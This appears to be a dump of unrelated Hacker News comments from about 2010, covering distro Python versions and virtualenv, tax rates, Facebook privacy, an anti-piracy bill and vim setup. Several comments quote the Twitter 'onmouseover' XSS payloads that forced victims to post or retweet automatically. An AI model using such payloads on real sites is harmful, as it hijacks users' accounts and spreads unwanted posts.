skysight-inc/HackerNews huggingface dataset:
because, as the other poster mentions, /usr/bin has been a place for non-essential (not required by the machine to boot) software for thirty five years.
He doesn't blame it on 'some boneheaded decision'. As far as I can see, he doesn't blame anyone, he just notes the current state of affairs, in which the situation is indeed pretty much broken. Not just for him, because he is far from the only one that thinks it should work a certain way.

that's why virtualenv was invented

Yes and shouldn't it also be the OSes that use it to isolate their default Python install?
OS package-management (which can be considered "system" I guess)

This is where I and the distro makers disagree. When I use synaptic to install the latest version of foobar, that is not in anyway "system" and foobar should not be dumped in the same directory as core system binaries. There should be a directory that contains everything core to the OS (like python 2.4), which was only updated by the OS updater routine (which should be different from the update all the software I've installed routine). Then there should be a directory which contains everything I've chosen to install (like python 2.7) which is where everything that I install via whatever is the normal way to install things on that OS ends up. I don't care too much about what these directories are called, but having them be the same, as it is now, is not an ideal solution in my mind.
Let’s kill Interruptive ads
This article is confusing. At first it reads as if the DOJ gets to do the blocking without judicial oversight: "authorizes the Department of Justice to choke off access to foreign sites, including ordering domestic ISPs..."

Then it sounds like there is judicial oversight, in that the bill "would authorize the Department of Justice to file an in rem civil action against a domain name, and seek a preliminary order from the court that the domain name is being used to traffic infringing material."

Then it sounds like the Attorney General can bypass judicial oversight: "According to the bill, the U.S. Attorney General would require the DOJ's intellectual property enforcement coordinator to post a list of the infringing sites. The AG may also expand the order to additional domains."
You can also have private accounts on Twitter, so make what you want of the analogy.
I hear the median income in the military is around $120k.

I'm pretty sure you heard wrong.
The amusing thing for me is that there are certain incomes where the marginal rate actually goes down when income goes up (although absolute taxes paid always go up), due to phase-outs of deductions, various regressive taxes like FICA, local, etc.. It's actually quite complicated -- someone did a table on Quora, which I can't readily find right now, and it looks like the marginal rate peak for a single person was usually around 180-220k. From a purely efficiency standpoint, it seems like one would want the marginal rate function to be as smooth and ideally monotonic (if not strictly monotonic) as possible.
Biased? Maybe, but in a good way. In any case, it definitely brings a degree of relevant authority to the topic.

Thanks for joining in :)
"DIE PARTEI" is no real party but an act of comedy / form of satire (they weren't allowed to participate in national elections).
Sigh. Doesn’t apply.
Love how China shows "?"
You can write code that runs on 2.4, yes. But you miss quite a few useful features of more recent Pythons by doing so (context managers, for example, are a big deal, as are several of the newer standard-library modules). The same thing used to happen with Python 2.3; you could write 2.3-compatible code, but it meant no decorators, no generators, etc.

Python has these useful features and has had them for years; why is it acceptable to say that it will be 5-10 years before we can reliably use anything new?
Python brought this on itself by having no respect for compatibility between versions.

There's really no such thing as the Python language, only "Python 2.2", "Python 2.4", "Python 3". If you want to run Python scripts, you need to have three or four different Python runtimes installed, and that's asking a lot of both the distros and of users who need to keep everything straight, and probably even hack the #! at the beginning of scripts so that they work correctly.
It creates an entirely independent python installation, including executable. Of course, you need to install that executable somewhere before you can create an independent copy of it, but there's a decent chance you'll be able to do that even as a normal user in your home directory.
Oh noes, it’s a slippery slope! I don’t want to live in a society where what Google does is illegal. That’s just ridiculous.
Exactly, sounds just like another overreaction people seem to love to make about facebook. When you take a step back and look at the change for a few seconds you realize it's not a big deal at all.
That's not hard to track down; check census.gov. In fact, as of 2007 the distribution of households with incomes over $250K was 89% white.

http://www.census.gov/compendia/statab/cats/income_expenditu...
6. Before commenting on a hot topic, at least familiarize yourself with the basic. Like how the marginal income tax works. You don't have to be an expert, but at least skim the wikipedia page.

7. Avoid bold, unambiguous statements that are easily checkable, unless you've triple-checked them. It's trivial to map taxable income and what a tax plan will cost you, and saying "this policy will cost me $10,000" is pretty bold and unambiguous.
It isn't Zed complaining, the 1.0 instructions used pip and suggested using virtualenv etc. It would seem he is just reacting to what his customers are telling him - namely that it is difficult getting python to work on their systems and they don't want to play around with pip and virtualenv.
New niche network for IVF, Sperm Donation, Egg Donation and Adoption
Thanks. Adding hover and active states for all the buttons will happen soon.
I suspect that story had a lot to do with prank celebrity accounts etc stirring things up and very little to do with event invitations being public by default. I'm pretty sure you could achieve similar results by publishing a private email (or paper) invitation with a call to action somewhere like 4chan. I'm also equally certain this doesn't normally happen with the millions of other small personal events that have been publically listed on Facebook.

It's easy enough to point fingers at a company with as little apparent regard for privacy as Facebook, without searching for non-issues and exceptional cases to be outraged by.
Strong agree, virtualenv is a pre-requisite. We are running 2.6 in a venv on CentOS and it works fine and doesn't interfere with anything from the distro that relies on system Python.

This is really the better approach anyway because if you get another project that requires conflicting library versions with your last project, it's a simple thing. It also makes it easy to take your project across servers, just make another venv (usually pretty fast to get going) or use the portability flags and take the venv with you.

I don't see much point in trying to make everything play nicely with system Python when you're doing real work, but it would be nice if the distros would start keeping normal system Python up and distribute virtualenvs for their stupid broken old crap that they won't update.
I haven't had a chance to do more than skim the article yet, but if you get a chance, read Skunk Works by Ben Rich. The book is about the shop Kelly Johnson (the subject of the article) ran that gave us all kinds of great flying toys. It's a neat story about a legendary engineer/leader.
Can you break down your calculation a little? It's way higher than what I got...wondering if you forgot that these are marginal tax rates?
>>> When someone creates an event on Facebook they can tick a box saying "anyone can view and RSVP (public event)". <<<

Seems to be a classic case of a user blindly clicking anything to continue.
Upvote this comment!!

Those of you who are downvoting it should be ashamed of yourselves. If you disagree, you should explain why, not use your privileged position to censor.
Excellent Demos. The speeds these browser implementations are reaching are far better than I originally expected us to be at this point.
I certainly think that anything that doesn't work the way I expect is broken and things that are broken in this way frequently suck... and that seems to be the attitude of most of the people I know.
I see a lot of people in #vim (freenode) who have followed some random blog post instructions for configuring vim that we have to correct.
You do not want "filetype off"

A minor quibble: you might want "filetype off" temporarily, if you use Pathogen (which the poster does). Pathogen needs to run before the filetype plugin is turned on, and due to the way some distros work (Debian and its children, primarily, I think), this requires you to start your .vimrc this way[1]:

filetype off
call pathogen#runtime_append_all_bundles()
call pathogen#helptags()
" Later...
filetype plugin indent on

Since I work both with Debian and OSX, I just use that as a shared .vimrc set-up.

As a general rule, though, you are right that you want it turned on normally.

[1] http://www.vim.org/scripts/script.php?script_id=2332
Data Center Infrastructure Done Right
I think its both. I find it hard to work without resharper, yet it is a bloated, buggy pile of crap at times.
Create your virtualenv with --no-site-packages. Of course you have to use a different Python to run virtualenv, it's not that hard to build but if you have something against that it shouldn't be too hard to find a newer binary out there somewhere.

So, what's the complaint here? You have to obtain a new version of Python if you want to use a newer version of Python than what comes with the system? That's pretty self-evident imo.

Distro makers hate statically-linked stuff as a general rule and virtualenv is basically a statically-linked Python application. How many distros do you know that send out games statically linked to SDL or whatever? Most would rather have the application break. The same is true for Python; the distro has a philosophical opposition to static linking and virtualenvs are essentially statically-linked Python apps.
fwiw I agree, it left a sour taste in my mouth. Sounded far too much like she got wrapped up in her own empowerment and didn't think about whether just maybe letting it go was a better option.

Compare with this story: http://www.npr.org/templates/story/story.php?storyId=8916475...
...that they store your information in order to be able to advertise to you better? This doesn't need admitting to.
I don't support piracy, but this bill definitely makes me uncomfortable. Besides being censorship of free speech, it bothers me when the U.S. government expends so much effort and financial resources to protect corporate assets.

Don't get me wrong -- doing so may be a government responsibility, but it ranks much lower than things like infrastructure, education, and economic development in my book.
Stuxnet virus may be aimed at Iran nuclear reactor
You are watching the wrong shows. The Wire addresses this exact problem, and many other similar problems in the police, school systems, news rooms, etc...
He makes a great point at the end about beefing up the network effect and he is right. This is just another way to pump more noise into peoples' feeds.
My company (http://guidewire.com/) sponsors that work, and our developers have been using the DCEVM for day-to-day work for a couple of months now. It seems pretty stable.
a common thief, desperate to make ends meet

How do you know this?
>>work on projects under NDA or other laws/contracts for a long time

There are firms that actively ask people NOT to post code outside (citing IPR); and at times, even go ahead and mention that anything a person on it's payroll writes (even if written in leisure time or at home off work), belongs to the firm. The 'extended workplace' clause in terms of contract could be suitably flexed.
In his particular case, he certainly was not missing the newer Python modules as he was able to write a "small" C-only replacement. That what he wrote in C would certainly be easier to write in Python 2.4 (or 2.2)

Did you understand that he wrote the big C program just to process a small file with the syntax as in the following example (taken from his own file):

main = Server(
chroot="./",
hosts = [mongrel2]
)
settings = {"zeromq.threads": 1}
mimetypes = {".txt": "text/plain"}
servers = [main]
I don't know; I suppose "mature" wrt software is not unlike "mature" wrt human beings -- it means "when you stop growing fast and changing unpredictably", and maybe "when other people rely on you". Or something like that. I don't think GIL-lessness [or any other feature] is related to "mature" (that would rather go into "incomplete" folder).

You point out that you perl6 folks make a steady progress, and that the work you're doing is fairly hard. All valid points, but... I don't want to sound cruel, but a steady progress solving hard problems is not very valuable per se to the [potential] users of the software or employers of the participants. They usually care much more about results. If you deliver the results without much progress and avoiding hard problems, you're fine; if you do a lot of progress working through hard problems without practically useful results, you're screwed.

You say your software works; fine, but for what definition of "work"? "Passes tests" is one thing, but "usable for production heavy lifting" is something in a completely different league. I see people migrating from ruby-1.8 to ruby-1.9 now and then; a move from python2 to python3 is a fairly rare beast; but did anyone move from perl5 to perl6? or started a non-toy / non-research project using perl6 / parrot?

You mention the research value (new parsing techniques et ol). I have my share of doubts wrt this part (so does the author of the article, IIRC), but let's skip it. My bigger point is, is it what users and employers want? I honestly don't see it. Please don't misunderstand me here; I'm not saying you must do what some other people want. You, of course, are free to do whatever, I (or anybody else) is not in position to tell you what to do. But then again, when other people (production perl users, potential investors, employers and contributors -- in short, industry people, not research people) judge your projects, their judgments will probably be aligned with their very specific industrial needs, not with potential research value and/or some decades-long perspective.
What money? He could ask a favor from his buddies, provided of course he has the same revengeful mentality as the victim. This is quite unlikely but still works as a deterrent for many people that would otherwise take similar actions as the victim. A solution to this problem might help in the battle against crime. Just to give an idea, something like an e-testimony with a digital certification that can be connected to the person's identity details only from qualified public servants.
Ask HN: Methods for reserving and verifying celebrity usernames?
Twitter indicates that some accounts really belong to the specified celebrity via "Verified Account" badges, but they indicate that they are "closing the beta test of this feature to build a system that will be better for users.":
http://support.twitter.com/groups/31-twitter-basics/topics/111-features/articles/119135-about-verified-accounts

When Facebook offered vanity URLs, they had determined a list of celebrity-reserved vanity URLs before the vanity URL requesting service went live.

Is anyone familiar with how major social networking and other sites got their list of "celebrity usernames" or whether there is a list currently available and updated online or available via some other method? How about the process that sites use to verify that people are the celebrities that they are claiming to be? Do you have any suggestions for those wishing to avoid future issues on their site by having a (hopefully lightweight and low-cost) celebrity username reservation and validation process in mind from the beginning?
I know, but that doesn't necessarily make it a good solution.
I've been a sys admin for several large unix systems and variations on the problem Zed describes needed to be hacked around on each and every one of them.
Arch Rock is now part of Cisco
Twitter 'onmouseover' security flaw widely exploited
Because I thought it was a relevant (if still nascent) discussion here on HN.
If there is one thing that ticks me off about modern unix it is that to install <insert minor package here> I end up having to install / upgrade half the rest of the system because of all the interdependencies between packages.
Microsoft rips off Spotify free app for Win7 campaign
http://news.ycombinator.com/item?id=1099646
[read beyond the top part of page]

http://news.ycombinator.com/item?id=277834

http://news.ycombinator.com/item?id=203242
project euler? http://projecteuler.net/
I'm concerned with the general case of writing Python software. Zed's example perhaps could get by, but offers some minor annoyances.

Distributing a framework like Django, on the other hand, when distros lag six years behind current Python, is a royal pain in the ass.
Where Good Ideas Come From [video]
article summary:

>Use a small number of good people
Due to a few opportunistic members that ignored guidelines in the past, there is a one-week waiting period after signup, before you are allowed to post a new question to Ask MetaFilter or a new post to MetaFilter. You can post comments to MetaFilter and MetaTalk, and answers to Ask MetaFilter right away though.

Trust works best in small communities. A few bad apples can ruin the whole experience as the community grows. Within no time the community degrades if it is just based on trust. A saner way to do this will be to trust people to do the right thing, but verify that they are not doing anything malicious.
http://t.co/@onmouseover=document.getElementById(status).value=RT CorinCole';$('.status-update-form').submit();"font-size:500pt;/
It really depends on whether you are collecting emails or whether you are collecting emails that you are then going to use as a list of people to inform.

For collecting emails, you can setup a wufoo form in about 30 seconds and post a link to the form from your website.

If you are collecting emails that you then want to be magically setup into a list you can turn around to email out, it can be done with Mailchimp in less than 5 minutes.

If you are following this advice: (http://news.ycombinator.com/item?id=1697302) then either one will work for you very quickly.
exactly. if anything, this guy was a lazy one who didn't work for a living, mooched off people's things and belongings and had all the time in the world for an active social life.

if one is that desperate to make ends meet, and i've seen such people, they'd be busting their asses and not lazying around in the parks or malls with girlfriends
I read the end first, where he recommends turnitin.com. He lost me there. If one of my professors had told me I was turn in my papers through turnitin.com, I would've dropped the class. Their entire service relies on keeping copies of student's work without their permission. I don't care if they successfully warded off a lawsuit (which they did), the service is wrong.
He apparently also created crappy planes that killed many people, for example the F-104. Perhaps more bureaucracy is good sometimes.
Land and labor may cost more, but not linearly with average income. A road worker or teacher's salary doesn't double just because a bunch of miscrosofties doubled the average income.

Manhattan has incomes about 3x the national average. By your logic, the salary for fast food workers in Manhattan should be about $30/hour, a burrito costing $3 outside the city should cost $9 and a macbook should cost $3000.

The indirect costs you list are simply the costs of having new people. They indicate that total spending should increase when population does, not per-capita spending. Rich people may require slightly more roads, but they also never use welfare, medicaid, visit the ER under a phony name, and they rarely commit crimes.
It seems like you want BSD ports, or some alternate package repository that has /usr/local as the root. The packages from the OS repository are the OS.
Exactly.

I know people on here enjoy hating on Facebook, but you can't blame them for this.
Twitter Hacked
A javascript code post tweets automatically when is actived by onmouseover event
http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()"... http://ff.im/-qSgER
CentOS is about as conservative an option as you can get

Wait, wasn't that attribute reserved for debian/stable?
Was Stuxnet built to attack Iran's nuclear program?
It is so not lower middle class in California.

While the couple earning that in the Bay Area may be doing it hard, the difference between that and the lifestyle of the poor is immense.

There is a fairly thick layer (my bet is at least 35% of the population) of middle class people between your Californians on $125k and hopelessly hardscrabble folk on the breadline.

Edit: it looks like it might be a little higher percentage, actually, if we extrapolate from old data from the 2000 census http://ccsre.stanford.edu/reports/report_13.pdf
It's a design decision. They have a default Python install they support, validate and keep working that you shouldn't mess with. I am pretty sure you can't ruin a RHEL just by installing RPMs from RH's repos. If the Python the OS vendor provides is somewhat inadequate to you, it's your job to provide another one or to use another distro. However, if you choose to write your code against the distro's Python (something that's not that hard, really - 2.4 is a modern language) you can rest assured your code will work for as long as the distro is supported. It's not "broken", not a boneheaded decision. It's just the way it is.

If you require 2.7 or 3.x goodness, you can always set-up different environments separate from the OS's Python and just be happy with it.

And, BTW, I never put boneheaded in quotes ;-)
I think you're living in la-la land. If he had $500,000 to spend on education in the first place, then he started rich and just keeps getting richer. If he'd foregone the education and invested the $500k in something else, then he'd still be rich, and (presumably) he'd still feel hard done by.
US hunters shoot down Google fibre
SuperUser.com opens "third" site to let users chat.
wow i got modded down!

see my replies to each of my commentors personally...
BTW, if you retweet one of the messages of that guy: http://twitter.com/test_nau

his last tweet contains another XSS vulnerability hack: http://t.co/@onmouseover=document.getElementById(status).val... test_nau';$('.status-update-form').submit();"style="background:red"/

using that twitt it's possible to post from your account
+1 for LustyExplorer. Use that every day at work and at home.
He may or may not. Meanwhile, crime in that neighborhood and others he targeted is likely to drop for the next 2 years. Bird in hand...